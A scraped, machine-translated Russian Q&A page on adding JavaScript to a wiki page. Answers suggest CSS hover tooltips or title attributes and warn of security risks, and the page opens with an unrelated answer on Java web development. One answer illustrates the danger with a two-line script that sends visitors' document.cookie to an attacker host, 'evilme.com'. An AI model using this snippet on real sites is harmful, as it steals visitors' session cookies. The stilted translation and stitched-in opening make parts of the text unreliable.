Как ввести JavaScript в страницу Wiki?

Вам нужны HTML, CSS и JavaScript - все обычные подозреваемые в веб-разработке.

У Tomcat есть встроенный веб-сервер, но это сервлет / JSP-движок. Apache - это чистый веб-сервер.

Вам нужно изучить JSP, который является языком шаблонов для создания сервлетов, которые генерируют вывод HTML. Вы захотите написать их с помощью JSTL, а не скриптов.

Если вы делаете CRUD-приложения, вам нужно изучить JDBC и реляционные базы данных. Вы должны сделать это перед тем, как попробовать Hibernate или любой другой ORM, потому что это основа, на которой они созданы.

JavaBeans - это просто стандарты для объектов Java.

Если вы для этого, я бы рекомендовал Spring framework.

6
задан Aidenn 17 September 2008 в 21:50
поделиться

9 ответов

Принятие Вы - администратор Wiki и являетесь согласным дисплеем это на наведении мыши вместо по щелчку, Вам не нужен JavaScript вообще - можно использовать прямой CSS. Вот пример стилей и разметки:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

Еще с некоторыми включенными стилями Ваше поле подсказки может выглядеть столь хорошим, как Вы хотели бы.

4
ответ дан 8 December 2019 в 13:51
поделиться

Если авторы Wiki мудры, нет, вероятно, никакого способа сделать это.

Проблема с внесенным пользователями JavaScript состоит в том, что он открывает дверь для всех форм злодеев для захвата данных из не подозревающего.

Давайте предположим, что зло - меня отправляет сценарий на общедоступном сайте:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

Теперь я получу информацию о куки каждого посетителя страницы, отправленной на вход в систему мой сервер. И это - просто верхушка айсберга.

10
ответ дан 8 December 2019 в 13:51
поделиться

Это полностью зависит от определенного программного обеспечения Wiki, которое Вы используете. Путем я видел, что работа должна разместить js файл где-то в другом месте и затем включать с тегом script с атрибутом src.

Если они не признают, что, возможно, позволяют IFRAME, который можно установить на страницу, которая включает сценарий. Используя вторую технику, Вам не разрешат получить доступ к DOM страницы хоста.

1
ответ дан 8 December 2019 в 13:51
поделиться

Мне нравится ответ CSS. Когда можно использовать CSS вместо JavaScript, он приводит к более простой разметке.
Другой вещью изучить является Общественный Набор для SharePoint Расширенный Выпуск Wiki на Codeplex. Можно загрузить исходный код и добавить в собственных функциях. Или можно предложить это в качестве новой возможности на форуме.

1
ответ дан 8 December 2019 в 13:51
поделиться

Это походит на угрозу безопасности. Кажется, что для администратора Wiki возможно установить сценарии, видеть пользовательские сценарии Википедии.

0
ответ дан 8 December 2019 в 13:51
поделиться

Это, конечно, зависело бы от механизма Wiki, с которым Вы говорите. Скорее всего, хотя, поскольку sblundy говорит, это была бы угроза безопасности для разрешения бесплатного использования JavaScript на странице Wiki.

0
ответ дан 8 December 2019 в 13:51
поделиться

Если Вы говорите об использовании JavaScript как часть веб-страницы на этом сайте, Вы не можете. Или любая другая общедоступная Wiki в этом отношении - это - угроза безопасности.

Если Вы говорите о регистрации примера кода, нажимаете '101010' кнопка выше текстового поля.

0
ответ дан 8 December 2019 в 13:51
поделиться

Добавить title="text here" к любому тегу и это должно показать текст при парении на нем.
Internet Explorer показывает текст, когда Вы используете alt="text here" атрибут, хотя это не согласно стандартам.

Я протестировал теперь, и можно добавить <h2 title="some explanation here">headline</h2> к любой системе на основе Викимедиа (тот использование Википедии).

0
ответ дан 8 December 2019 в 13:51
поделиться

Вы не должны мочь добавить код JavaScript для любой общедоступной Wiki. Если Вы размещаете его сами, то необходимо попросить определенную систему Wiki, таким образом, кто-то может помочь Вам изменить настройки - если вообще возможный для той системы.

0
ответ дан 8 December 2019 в 13:51
поделиться
Другие вопросы по тегам:

Похожие вопросы: